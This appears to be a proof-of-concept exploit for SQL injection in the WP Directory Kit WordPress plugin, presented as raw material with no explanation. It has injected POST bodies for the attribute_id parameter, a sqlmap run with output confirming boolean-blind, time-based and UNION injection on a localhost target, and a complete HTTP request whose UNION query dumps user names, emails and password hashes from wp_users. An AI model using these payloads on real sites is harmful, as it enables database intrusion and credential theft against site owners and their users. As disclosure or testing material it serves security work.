offset=0&per_page=10&curr_id=&attribute_id=ID=1)or 1=1-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected

offset=0&per_page=10&curr_id=&attribute_id=ID=1)*-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected

python .\sqlmap.py -r .\sql-wpdirectorykit-4.req --dbs --batch --dbms=mysql --flush-session

[17:08:36] [INFO] parsing HTTP request from '.\sql-wpdirectorykit-4.req'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[17:08:36] [INFO] flushing session file
[17:08:36] [INFO] testing connection to the target URL
[17:08:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:08:37] [INFO] testing if the target URL content is stable
[17:08:38] [INFO] target URL content is stable
[17:08:38] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[17:08:39] [INFO] (custom) POST parameter '#1*' appears to be dynamic
[17:08:39] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[17:08:40] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[17:08:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:08:44] [INFO] (custom) POST parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:08:44] [INFO] testing 'Generic inline queries'
[17:08:44] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:08:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:08:45] [WARNING] time-based comparison requires larger statistical model, please wait.................... (done)
[17:09:11] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:09:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:09:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:09:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:09:18] [INFO] target URL appears to have 34 columns in query
[17:09:36] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND 7544=7544-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND (SELECT 1253 FROM (SELECT(SLEEP(5)))BUhD)-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected

    Type: UNION query
    Title: Generic UNION query (NULL) - 34 columns
    Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171717871,0x645450444e484b6162547547496545685342754f57475a505641526d4373656c6c50454f61444358,0x7171707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- --- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
---
[17:09:36] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.29, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:09:37] [INFO] fetching database names

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 551
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/wordpress/wp-admin/admin.php?page=wdk_listing&id=10&is_updated=true
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected

1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -